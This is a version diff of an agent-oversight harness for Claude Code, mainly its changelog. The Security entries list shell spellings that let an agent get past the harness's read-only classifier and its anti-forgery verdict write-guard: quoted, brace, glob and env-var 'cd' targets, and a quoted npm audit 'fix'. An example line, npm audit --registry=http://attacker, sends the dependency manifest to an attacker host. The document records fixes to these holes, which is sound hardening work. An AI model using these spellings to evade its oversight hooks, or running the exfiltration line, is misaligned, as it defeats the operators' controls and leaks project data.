@lannguyensi/harness 0.41.0 → 0.42.0

package/CHANGELOG.md

@@ -7,6 +7,37 @@ and this project adheres to [Semantic Versioning](https://semver.org/).
 
 ## [Unreleased]
 
+## [0.42.0] - 2026-07-27
+
+### Security
+
+- **The Risk Classifier's and understanding-gate's shared built-in read-only floor (`src/runtime/read-only-bash.ts`) now recognizes `cd` and a curated npm read-only subcommand set, closing a gap that let a prod-scoped `risk.severity_at_least` policy block plain navigation and dependency-tree reads on a production-resolved session — with two adjacent security fixes surfaced by adversarial review before this shipped** (task `fb67b402`). `cd` (pure navigation form only — any chained or redirected spelling still forfeits the classification via the existing shell-metacharacter guard) and `npm ls` / `list`, `view` / `info` / `show`, `outdated`, `why` / `explain`, `ping`, and `npm audit` (never `npm audit fix`) are now floored `low`-severity instead of unclassified, the same treatment `git status` / `git diff` already got. This is a curated POSITIVE allowlist, not a denylist: an npm subcommand this floor has not reasoned about — `install`, `ci`, `publish`, `update`, `version`, or a future verb — stays unclassified rather than assumed safe. This same shared classifier also feeds the understanding-gate's PreToolUse blocker (`isReadOnlyBashPipeline`), which now also passes `cd` / `npm audit` / `npm ls` without an approved Understanding Report — a deliberate widening, not incidental; see `docs/policy-packs/understanding-before-execution.md` for why, and its consciously-accepted pre-report network-read residual (already true of `git fetch` / `gh ... view`).
+  - **Fixed before ship (HIGH, adversarial review, round 1): the solution-acceptance anti-forgery write-guard's `cd`-into-verdict-dir block only closed the LITERAL-path spelling.** `cd`'s general read-only classification meant `src/cli/pack/hook-solution-acceptance-writeguard.ts`'s `evaluateWriteGuard` needed its own defense-in-depth pre-check so a bare `cd <verdict-dir>` — the setup half of a two-Bash-call forge — stays blocked (the actual forging write is separately closed by the pre-existing cwd-inside-dir check on the following call, which is unaffected and remains the load-bearing defense). The FIRST version of that pre-check only caught the literal, unquoted path spelling: `path.resolve` cannot literally evaluate a quoted (`cd "$DIR"`, `cd '$DIR'`), env-var/brace (`cd $SOLUTION_VERDICT_DIR`, `cd $HOME/...`, `cd ${HOME}/...`), tilde (`cd ~/...`), or glob (`cd .../solution-ver*`) spelling, so each of those seven forms silently took `cd`'s unconditional read-only fast path instead of reaching the existing text-reference check that already recognized every one of those spellings for any OTHER (non-cd) Bash command. Fixed: a `cd` target containing `$ ~ * ? [ " '` now skips the read-only fast path entirely and falls through to the same `bashReferencesVerdictDir` check, closing all seven spellings without reverting `cd`'s general classification.
+  - **Fixed before ship (MEDIUM, adversarial review, round 1): `npm audit "fix"` (and other shell-quoted spellings) floored as read-only.** The original `npm audit` guard was a token-equality denylist (`!tokens.slice(2).includes("fix")`) — a shell-quoting bypass, since npm's own arg parsing strips quoting before npm ever sees the argument, so `npm audit "fix"`, `'fix'`, `f''ix`, `fi"x"`, and `$'fix'` all run the mutating `npm audit fix` path in npm 11.17.0 while none of the raw, un-shell-evaluated tokens equals the literal string `fix`. Fixed with a POSITIVE shape instead, matching the module's allowlist-not-denylist contract: every token after `audit` must either start with `-` (a flag) or be the literal `signatures`, or the whole invocation forfeits the floor — closing every quoting variant and any future `npm audit <verb>` in one rule, at the acceptable, conservative cost of failing closed on any separated flag value (e.g. `npm audit --audit-level high`, `npm audit --omit dev` — use the glued `--flag=value` form to stay floored). Also added, same round: `--registry` / `--userconfig` / `--globalconfig` on ANY npm subcommand forfeits the floor (`npm audit --registry=http://attacker` would otherwise submit the full dependency manifest to an operator-unverified host); `info`, `show` (both `view` aliases) and `explain` (`why`'s formal name) joined the npm allowlist; other npm aliases (`la`, `ll`, `v`) are deliberately NOT floored, only canonical spellings.
+  - **Fixed before ship (HIGH, adversarial review, round 2): the round-1 `cd` fix's unresolvable-character set missed brace expansion, a ninth live spelling.** `CD_TARGET_UNRESOLVABLE_CHARS` had no `{`, `}`, or `,`, so `path.resolve` treated `cd <parent>/{solution-verdicts,x}` as a literal (non-existent) path segment — neither inside the dir nor flagged unresolvable — and the read-only fast path fired even though bash (verified against 3.2.57) expands the brace and navigates INTO the verdict dir, ignoring the extra alternative; the `-P` / `--` prefixed and cwd-relative forms were equally affected. Fixed in two parts: (1) `CD_TARGET_UNRESOLVABLE_CHARS` now includes `{ } ,`, so any brace-expansion spelling falls through to the reference check same as the other six spellings; (2) `bashReferencesVerdictDir`'s glob-metacharacter test (`src/policy-packs/builtin/solution-acceptance-runtime.ts`) widened from `/[*?[]/` to `/[*?[{]/` so the leaf-word fallback also catches a brace that SPLITS the leaf itself (`solution-verdict{s,}`), a narrower pre-existing hole (not `cd`-specific, not introduced by round 1) the same widening closes. Also this round: the per-scope npm registry override `--@scope:registry=URL` (npm resolves a scoped package's registry from `@scope:registry` before the plain `registry` config, so it is an equally live exfiltration vector) now forfeits the npm floor alongside the unscoped form; `cdTargetArgument` now strips one layer of surrounding quotes before either check runs, so `cd "<dir>-decoy"` behaves like the unquoted `cd <dir>-decoy` (both correctly NOT blocked) instead of being spelling-dependent; a positive test pins `npm audit -fix` (single dash) as deliberately floored (verified npm behavior: `Unknown cli config "--fix"`, report only); and the module header / relevant docstrings were reworded from enumerating expansions in a way that read as exhaustive to stating explicitly what they DO cover and naming the still-open residual (backslash-escaping a leaf character defeats the textual match under both `cd` and non-`cd` commands alike — pre-existing, needs shell-unescaping in `bashReferencesVerdictDir` to close, out of this task's scope).
+  - New tests: `tests/runtime/read-only-bash.test.ts`, `tests/runtime/risk-classifier.test.ts`, `tests/cli/pack-hook-solution-acceptance-writeguard.test.ts` (round 1: 7-spelling + discriminating-pair + near-miss cases; round 2: 6 brace-form negatives + 1 split-leaf negative + the quote-stripped decoy pin). Docs: `docs/risk-gate.md`, `docs/policy-packs/understanding-before-execution.md`.
+- **`fast-uri` HIGH advisory (GHSA-v2hh-gcrm-f6hx) closed via a lockfile refresh; `@lannguyensi/understanding-gate` ends this window pinned to `^0.4.9`, after a same-day detour through an exact `0.4.5` pin** (PRs #366, #367). The advisory (host confusion via a literal backslash authority delimiter, fast-uri 3.0.0-3.1.3) reached the harness tree via `understanding-gate -> ajv -> fast-uri`; ajv already declared `fast-uri: ^3.0.1`, which permits the fixed 3.1.4, so refreshing the lockfile pin closed the advisory — no `package.json` change was needed for the advisory itself. Bumping `understanding-gate` itself (0.4.5 -> ^0.4.7, resolving 0.4.8) was evaluated and REJECTED on evidence: it shares the same `ajv: ^8.12.0` constraint (doesn't touch the advisory) and breaks `tests/cli/approve-understanding.test.ts` (persisted `taskId` comes back as the `sessionId`; bisected 0.4.6 green, 0.4.7/0.4.8 red). PR #366 pinned `understanding-gate` to an EXACT `0.4.5` to hold that line through `npm install`/`npm update`, not just `npm ci` (`~0.4.5` still admits the broken 0.4.7). PR #367 lifted the pin once `understanding-gate` 0.4.9 shipped: it restores the documented gap-fill contract for `defaults.taskId` (agent-grounding PR #153) with its own regression test, so the consumer suite is no longer the only detector — verified via `tests/cli/approve-understanding.test.ts` 70/70 against 0.4.9 plus a full preflight run.
+- **`postcss` HIGH advisory (GHSA-r28c-9q8g-f849) closed via `npm audit fix`** (PR #374). `postcss` <= 8.5.17 is vulnerable to path traversal via `sourceMappingURL` auto-loading, disclosing arbitrary `.map` files; it reaches this repo transitively as a dev dependency only (`vitest 4.1.8 -> vite 8.0.16 -> postcss 8.5.15`). Closed non-breaking: `postcss` 8.5.15 -> 8.5.23 and its `nanoid` dependency 3.3.12 -> 3.3.16, no `package.json` change and no override introduced. `npm audit` now reports 0 vulnerabilities; this also unblocked this repo's own `harness preflight`, whose npm-audit check had been failing on exactly this advisory.
+
+### Added
+
+- **Third `SessionStart` companion: a toolchain-parity snapshot, advisory-only, compared against peer machines** (task `5427fe54`, PR #368). Alongside the existing preflight and branch-check `SessionStart` hooks, it writes this machine's toolchain snapshot (PATH-resolved node version, npm globals, OW-Kit manifest version, MCP server names) to the machine-state directory synced by `agent-memory-sync`, compares the live local state against every peer snapshot found there, and reports drift as warn lines plus a `toolchain-parity:ok|drift:<n>` ledger fact. Disabled by default behind a new optional `toolchain_parity` manifest block; every failure path logs and exits 0 rather than blocking the session. Both new spawns are injectable and registered in the hermetic spawn guard. A same-PR review note documented the constraint that profile names must stay unique after filename sanitization (`[^a-zA-Z0-9._-]` -> `-`), naming plain names like `mac-mini`/`macbook` as safe — this is a docs-only clarification, not a code fix: `sanitizeProfileName` gained no collision guard (LOW-1). `check:duplication`'s `MAX_CLONES` pin moved 86 -> 95: the CLI option-parsing wiring joins the existing clone cluster shared verbatim with the sibling hooks (justified in `scripts/check-duplication.mjs`). New tests: 32 hermetic tests covering ok, drift, missing/corrupt peers, unconfigured, and spawn-degradation cases. Docs: `docs/CLI.md`, `docs/examples/full-manifest.expected.yaml`.
+- **New opt-in `post-merge-gate` policy pack: denies mutating git/gh work on a branch whose tip has already been merged** (task `d368e30d`, PR #369). A `PostToolUse` producer records the merged branch tip only on a confirmed `gh pr merge` success (`tool_output.exit_code === 0`, a defensive payload read, the trusted ledger writer), and a `PreToolUse` blocker denies a curated git/gh mutation list once the current branch tip exactly matches a recorded merged tip. An escape allowlist (`git switch`/`checkout`/`pull`/`fetch`/`branch -d`/`-D`/`stash list`/`show`, harness verbs) is checked first, unconditionally, before any manifest or ledger access, and the gate fails open with a warning when the ledger is unavailable. Exact-sha matching keeps it squash-safe and avoids false positives on post-merge commits or recycled branch names. `resolveOriginHeadBase`/`resolveCommonDir` moved to the new `src/runtime/git-context.ts` for reuse; MCP-side merges stay a documented gap. Ships disabled (`FULL_TEMPLATE enabled: false`). A same-PR review round named two accepted residuals in `docs/policy-packs/post-merge-gate.md`: a curated mutation chained with an escape verb is allowed whole (the same accepted class as the existing eval/heredoc gap), and a hand-written merged fact matching the current tip denies curated mutations on that branch, recoverable via any escape or a new commit. `check:duplication`'s `MAX_CLONES` pin moved 95 -> 102 (sibling-pack wiring shape, no cross-verb extraction possible).
+  - **Fixed the same day (PR #370): the documented `tool_output.exit_code` producer contract never actually fires on real Claude Code.** Live verification on Claude Code 2.1.218 (a real hook fire against an isolated settings probe) showed the `PostToolUse` payload is `tool_response` — `{stdout, stderr, interrupted, isImage, noOutputExpected}`, no exit code at all — so the producer shipped in PR #369 was silently inert against the actual runtime. Contract A (`tool_output.exit_code === 0`) stays authoritative and short-circuits when present; a new Contract B confirms via `tool_response` with `interrupted: false` and `gh`'s past-tense success line, matching both the real glued `owner/repo#N` shape (source-verified against `gh` v2.94.0's `merge.go:369-376`, which writes success to stderr via `infof`) and the bare `#N` doc shape. Auto-merge-pending and already-merged warnings are pinned as negatives against `gh`'s exact wording. The real 2.1.218 payload is committed as a drift-guard fixture (`tests/fixtures/post-merge-gate/real-posttooluse-payload-2.1.218.json`).
+  - New tests: `tests/cli/pack-hook-post-merge-gate.test.ts`, `tests/cli/pack-hook-post-merge-gate-record.test.ts`, `tests/policy-packs/post-merge-gate-expand.test.ts`, `tests/policy-packs/post-merge-gate-runtime.test.ts` (escape-first ordering, chained-escape and inverted-trust-boundary pins, both payload contracts, the fixture-driven drift guard). Docs: `docs/policy-packs/post-merge-gate.md`.
+- **CI now fails fast on a committed `.only` under `tests/`** (task `b4845053`, follow-up of task `052f9d5b` review round 4, PR #372). `vitest` with `CI=true` (`allowOnly=false`) reports an unexpected `.only` but still exits 0 for some file shapes, and a `describe.only` whose selected tests are all skipped disables both layers of the hermetic-spawn backstop at once. The new `scripts/check-no-only.mjs` parses `tests/**/*.{ts,mts,cts}` with the TypeScript compiler API and flags `.only` property accesses rooted at a bare `describe`/`it`/`test` identifier, so chained modifiers and `.each` variants are caught while strings, comments, and test names structurally cannot trip it. Wired as `check:no-only`, a fail-fast CI step before Build, ~0.9s for the whole test tree. A same-PR review round added the vitest options-object form (`it(name, { only: true }, fn)`, a documented way to activate only-mode that defeated the property-access gate the same way) and hardened the check's CLI with an `isDirectRun` guard and in-process tests (exit code + `file:line` output); accepted known bypasses (bracket/computed access, an aliased holder, a renamed import, `bench.only`, and the options form reached through a chained call) are documented in the script itself.
+- **`harness preflight`'s `SessionStart` producer now persists the full failing run to a log file, and the not-ready message names which checks failed** (task `31fbf856`, PR #356). On a real `ready !== true` outcome, the producer writes the complete `preflight run --json` payload (pretty-printed) to `~/.harness/logs/preflight-<repo>-<timestamp>.json` (an injectable `logDir` seam) and keeps only the last 20 `preflight-*.json` files per rotation, leaving any foreign files in that directory untouched. The `SessionStart` fail message itself now surfaces up to 3 detail lines per failing check plus a trailing `; log: <path>` pointer, instead of just the bare check name. The `ready:true` and spawn-error branches are unchanged, and every new file-IO path degrades to a note on failure rather than breaking the `SessionStart` `blocking:false` / exit-0 contract. A companion root-fix to `agent-preflight`'s own output capping is tracked separately as task `6691dd56`. New tests: `tests/cli/session-start/preflight.test.ts`.
+- **New `harness record` CLI verbs write gate evidence directly into the session ledger for `review`, `review-subagent`, and `dogfood`** (agent-tasks task `27ba3570`, PR #357). Each verb writes one multi-tag fact, mirroring the existing preflight producer: `review` writes `review:<pr>` + `review:<branch>` + `review:<base>`; `review-subagent` writes `review-subagent:<task>` + `review-subagent:<branch>` + a verdict tag; `dogfood` writes `dogfood:<session>`. Branch resolution shares `resolveGitContext` with the gates that consume these tags; base resolution tries `--base`, then an `origin/HEAD` filesystem fallback, then omits loudly rather than guessing — a review follow-up made that fallback resolve `origin/HEAD` through a linked worktree's commondir file too, so a worktree checkout no longer silently degrades to omit-with-warning. The manifest -> `grounding-mcp` ledger-writer wiring was extracted into the new `src/runtime/ledger-writer.ts`, shared unchanged with `session-start`. The evidence-gate `ux.run` hints across all four manifest sources (`templates.ts`, `composer.ts`, `profiles.ts`, `docs/examples/full-manifest.yaml`) now point at the `record` verbs instead of the old hand-written instructions. An invalid `--ledger-timeout` now warns instead of silently falling back. New tests: `tests/cli/record/record.test.ts`, `tests/cli/record/record-alias.test.ts`, `tests/e2e/record-roundtrip.test.ts` (real record runners feeding the real intercept path, both merge surfaces, empty-ledger deny counter-checks). Docs: `docs/CLI.md` (tag-semantics table, merge-surface trap, `--base` guidance), `docs/okf/evidence-ledger-trust-boundary.md` (re-verification pass).
+- **`harness uninstall --apply` (and `--restore-from`) now deregisters harness-owned MCP servers from the live `claude mcp` registry, not just the `settings.json` block** (task `d6086441`, PR #361). It calls `claude mcp remove --scope user` for harness-owned names (`DEFAULT_OWNED_MCP_SERVERS` union the manifest's `tools.mcp[]` names) that are actually registered in the live user-scope registry — read-only checked via `readTopLevelMcpServers` first, never a blind iteration — and foreign registrations are never touched. `--dry-run` lists the planned removals with zero exec calls. `cli-missing` and per-name failures never hard-fail: outcomes land in inventory warnings with copy-pasteable `manualRemoveLines` fallback commands, and the result distinguishes a partial success (settings.json cleaned, registry removal failed or skipped) from a complete one; a registry read error removes nothing. `uninstall()` is now async; its only in-repo caller (the CLI command) awaits it and prints the new registry fields. A review-round fix seatbelted the registry axis the same way `stateDir` already is: an explicit `homeDir` or an injected `mcpExec` each neutralize the risk on their own, and absent both, only `HARNESS_ALLOW_REAL_GENERATED_DIR=1` unlocks it (set by `src/cli/main.ts` for the real binary, so production behavior is unchanged) — a blocked run skips the axis entirely, including the read, and reports an empty list plus a warning. New tests: `tests/cli/uninstall/uninstall.test.ts` (seatbelt blocked/env-unlocked/homeDir-unlocked cases, and a `--restore-from` case asserting the exact `claude mcp remove` argv). Docs: `docs/examples/pandora-bootstrap.md` (rollback steps and the manual fallback).
+
+### Fixed
+
+- **`harness init`'s MCP-server registration now writes to the surface Claude Code actually reads, instead of a dead `settings.json` block** (task `init-mcp-wiring-claude-code`). Every prior `harness init --interactive` run projected `tools.mcp[]` into user-level `~/.claude/settings.json`'s `mcpServers` key; Claude Code does not consume that key for user-scope registration and never has — the effective registry is `~/.claude.json`, previously reachable only by hand-running `claude mcp add-json`. The wizard now registers every enabled `tools.mcp[]` server there directly, via `claude mcp add-json --scope user` (new `ensureMcpServers` in `src/io/claude-mcp.ts`, a thin injectable-exec wrapper around `claude mcp add-json/remove/get/list`), right after the hooks apply step, then migrates away the dead settings.json block — but only once registration has actually succeeded, so a missing `claude` CLI leaves existing state untouched and prints copy-pasteable `claude mcp add-json` commands instead of failing or silently doing nothing. `generate-settings.ts` no longer projects `mcpServers` into settings.json at all (the translated spec map is exposed via `GenerateSettingsResult.mcpServers` for the new registration path instead). `harness doctor` gained a "Claude Code MCP Registration" section that re-verifies the live registry via `claude mcp list` and flags a leftover dead settings.json block. **Known limitations, tracked as follow-ups, not fixed by this task:** no removal GC — toggling a `tools.mcp[]` entry to `enabled: false` (or deleting it from the manifest) does not deregister an already-registered server (since closed in this same Unreleased batch by task `363a6de0`, see below); no `uninstall` symmetry — `harness uninstall` still only cleans the settings.json block, not the live `claude mcp` registration it now creates (since closed by task `d6086441`, see the Added section above); `harness init --probe`'s detection and `harness adopt`'s MCP drift check still read the (now largely dead) settings.json block rather than the live registry (since closed in this same 0.42.0 batch by task `83d8d03a`, see below). New tests: `tests/io/claude-mcp.test.ts` (43 cases), plus updates to `tests/cli/init-interactive.test.ts`, `tests/cli/apply/apply.test.ts`, `tests/cli/apply/generate-settings.test.ts`, `tests/cli/adopt.test.ts`, `tests/cli/doctor-claude-mcp.test.ts` (new), and `tests/cli/doctor.test.ts`. Docs: `docs/ARCHITECTURE.md`, `docs/examples/pandora-bootstrap.md`, `README.md`, `docs/okf/debug-verb-selection.md`.
+- **`harness init --interactive`'s claude-code wire-now step now deregisters a `tools.mcp[]` server that was removed or disabled from the manifest, closing the "no removal GC" gap the `init-mcp-wiring-claude-code` entry above tracked as a known limitation** (task `363a6de0`). Every ensure run used to only add/replace `desired` servers, never remove one that fell out of `desired` — an operator who deleted or disabled a `tools.mcp[]` entry had to run `claude mcp remove` by hand. `ensureMcpServers` (`src/io/claude-mcp.ts`) gains an opt-in `gc: { ownedNames }` option: after reconciling `desired`, it additionally `claude mcp remove`s any name in `ownedNames` that is still registered but no longer in `desired`; omitting `gc` leaves behavior exactly as before. **Ownership criterion (read this before relying on it):** the wizard passes `ownedNames` = the CURRENT manifest's `tools.mcp[]` names UNION the `tools.mcp[]` names from the `.last-apply` manifest snapshot captured **before** this run's `apply()` executes (`apply()` re-stamps `.last-apply` with the just-edited manifest whenever anything changed — including an edit that also touches a hook — so capturing the snapshot first is what lets a combined "remove this MCP + change this hook" edit still GC the dropped server correctly). The uninstall module's `DEFAULT_OWNED_MCP_SERVERS` list (`agent-tasks`, `codebase-oracle`, `grounding-mcp`) is **deliberately excluded** from GC eligibility: a server sharing one of those names that the operator registered themselves — outside of, or before, any harness manifest on this machine — is never touched, because "shares a default name" is not the same claim as "this install's manifest once had it." A manifest entry that's merely drifted (registered content differs from the manifest spec) but is STILL present in `desired` is never a GC candidate either, regardless of ownership — the existing add/replace path re-syncs it instead. No snapshot available (fresh install, or a corrupt/pre-snapshot `.last-apply`) degrades conservatively to manifest-only ownership, never a guess. A repeat run with no manifest change makes zero additional `claude mcp remove` calls (same idempotence bar as the add/replace path); a `claude` CLI that's missing, times out, or the registry being unreadable are all reported as a warning with copy-pasteable `claude mcp remove --scope user <name>` fallback commands (new `manualRemoveLines` in `src/io/claude-mcp.ts`), never a hard failure. New tests: 9 cases added to `tests/io/claude-mcp.test.ts` (7 for the `gc` option — remove branch with exact commands, ownership boundary, still-desired/drifted-content protection, idempotence, registry-read-error, cli-missing, gc-omitted-is-unchanged — plus 2 for `manualRemoveLines`), plus 5 new wizard-level tests in `tests/cli/init-interactive.test.ts` (the `.last-apply` snapshot union, the conservative no-snapshot fallback, the `DEFAULT_OWNED_MCP_SERVERS`-exclusion guard across a profile switch, an apply-succeeds MCP-only edit, and a combined MCP-removal + new-pack/hook edit). Docs: `docs/ARCHITECTURE.md`.
+- **`persistStdinReport`'s parse-error log now carries `malformedSections`; the schema hint spells out the `(list)` rule** (task `7e29e5d7`, externalRef `be98cd96:followup-harness-log-field`, follow-up to agent-grounding PR #154, PR #373). `understanding-gate`'s `ParseError` grew an optional `malformedSections` field (a `(list)` section is present but its body is prose); `persistStdinReport` now carries it into the parse-error log with a defensive `?? []` default, harmless against the pinned 0.4.x line. `renderReportSchemaHint` now states explicitly that `(list)` sections need markdown list items (`'- '` or `'1.'`) and that prose bodies are rejected — the stumbling block of the 2026-07-22 live incident. New tests: `tests/cli/approve-stdin-report.test.ts`, `tests/cli/pack-understanding-report-schema-hint.test.ts`.
+- **`harness adopt`'s MCP drift check and `harness init --probe`'s team/full detection now read the effective Claude Code user-scope registry instead of the dead `settings.json` block** (task `83d8d03a`, PR #358, closes a known limitation the `init-mcp-wiring-claude-code` entry above named). Both consumers now share the exported `readTopLevelMcpServers` primitive to read the live, top-level `mcpServers` block in `~/.claude.json` (`CLAUDE_CONFIG_DIR`-aware) — no new writer on `~/.claude.json` and no `claude` CLI spawn in either path. The dead `settings.json` block is still detected, but surfaced only as a cleanup warning, never mistaken for drift. `AdoptResult` gains `deadSettingsMcpNames` and `registryReadError`; `detect` gains `mcpRegistryParseError` and drops the now-dead `settingsParseError` field. New tests: updates to `tests/cli/adopt.test.ts`, `tests/cli/init-detect.test.ts`, `tests/cli/init-interactive.test.ts`, `tests/cli/program.test.ts`.
+- **All 8 OKF knowledge-bundle docs were re-verified against current sources, with several corrections substantive rather than just line-number drift** (PR #353, task `93c004a6`, first upkeep sweep after the warn-only staleness watch went live).
+
 ## [0.41.0] - 2026-07-16
 
 ### Security

package/README.md

@@ -144,6 +144,15 @@ profile (`solo` / `team` / `full` / `custom`) and writes a starting
 `harness.yaml`. Ctrl-C aborts cleanly. Walkthrough +
 limitations: [`docs/init-interactive.md`](docs/init-interactive.md).
 
+Every enabled `tools.mcp[]` server is then registered with Claude
+Code via `claude mcp add-json --scope user` — the surface Claude Code
+actually reads for user-scope MCP servers; harness itself never
+writes `~/.claude.json`. This step requires the `claude` CLI on
+`$PATH`; if it's missing, the wizard warns and prints the equivalent
+`claude mcp add-json` commands to run by hand instead of failing.
+`harness doctor` includes a "Claude Code MCP Registration" section
+that re-verifies the live registration via `claude mcp list`.
+
 ### Profiles at a glance
 
 | Profile | External accounts / tools required | Best for |

package/dist/cli/adopt/derive.d.ts

@@ -60,6 +60,21 @@ export interface SettingsRootWithMcp extends SettingsRoot {
     mcpServers?: Record<string, SettingsMcpSpec>;
 }
 export declare function parseSettingsMcpServers(raw: unknown): DerivedMcp[];
+/**
+ * Project the effective Claude Code user-scope MCP registry — the
+ * top-level `mcpServers` map of `~/.claude.json` /
+ * `$CLAUDE_CONFIG_DIR/.claude.json`, read read-only via
+ * `readTopLevelMcpServers` in io/claude-mcp.ts — into the same flat
+ * `DerivedMcp[]` shape `parseSettingsMcpServers` produces for the (dead)
+ * settings.json block, so `computeMcpDrift` can diff either source
+ * against the manifest projection uniformly.
+ *
+ * D-101: this is now the ONLY source `adopt` uses to compute MCP drift,
+ * regardless of the `<file>` CLI argument — settings.json's own
+ * `mcpServers` block (still parsed by `parseSettingsMcpServers` above) is
+ * dead at runtime and is surfaced only as a warning, never as drift.
+ */
+export declare function projectRegistryMcpServers(servers: Record<string, unknown>): DerivedMcp[];
 export declare function manifestMcpProjection(manifest: Manifest, homeDir?: string): DerivedMcp[];
 export type McpDriftReason = "new" | "modified";
 export interface McpDriftEntry {

package/dist/cli/adopt/derive.js

@@ -99,14 +99,16 @@ export function synthesizeName(d, taken) {
 function isRecord(x) {
     return typeof x === "object" && x !== null && !Array.isArray(x);
 }
-export function parseSettingsMcpServers(raw) {
-    if (!isRecord(raw))
-        return [];
-    const root = raw;
-    if (!isRecord(root.mcpServers))
-        return [];
+/**
+ * Shared per-entry projection: a raw `{ name -> spec }` map (settings.json's
+ * `mcpServers` block, or the registry's top-level `mcpServers` key) into the
+ * flat `DerivedMcp[]` shape both `parseSettingsMcpServers` (dead-block
+ * warning, task 83d8d03a) and `projectRegistryMcpServers` (the actual
+ * drift source, D-101) need identically.
+ */
+function projectMcpServersRecord(entries) {
     const out = [];
-    for (const [name, specRaw] of Object.entries(root.mcpServers)) {
+    for (const [name, specRaw] of Object.entries(entries)) {
         if (!isRecord(specRaw))
             continue;
         const spec = specRaw;
@@ -130,6 +132,31 @@ export function parseSettingsMcpServers(raw) {
     }
     return out;
 }
+export function parseSettingsMcpServers(raw) {
+    if (!isRecord(raw))
+        return [];
+    const root = raw;
+    if (!isRecord(root.mcpServers))
+        return [];
+    return projectMcpServersRecord(root.mcpServers);
+}
+/**
+ * Project the effective Claude Code user-scope MCP registry — the
+ * top-level `mcpServers` map of `~/.claude.json` /
+ * `$CLAUDE_CONFIG_DIR/.claude.json`, read read-only via
+ * `readTopLevelMcpServers` in io/claude-mcp.ts — into the same flat
+ * `DerivedMcp[]` shape `parseSettingsMcpServers` produces for the (dead)
+ * settings.json block, so `computeMcpDrift` can diff either source
+ * against the manifest projection uniformly.
+ *
+ * D-101: this is now the ONLY source `adopt` uses to compute MCP drift,
+ * regardless of the `<file>` CLI argument — settings.json's own
+ * `mcpServers` block (still parsed by `parseSettingsMcpServers` above) is
+ * dead at runtime and is surfaced only as a warning, never as drift.
+ */
+export function projectRegistryMcpServers(servers) {
+    return projectMcpServersRecord(servers);
+}
 export function manifestMcpProjection(manifest, homeDir) {
     const out = manifest.tools.mcp.map(toDerivedMcp);
     // Mirror apply's grounding projection (generate-settings.ts,

package/dist/cli/adopt/derive.js.map

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+{"version":3,"file":"derive.js","sourceRoot":"","sources":["../../../src/cli/adopt/derive.ts"],"names":[],"mappings":"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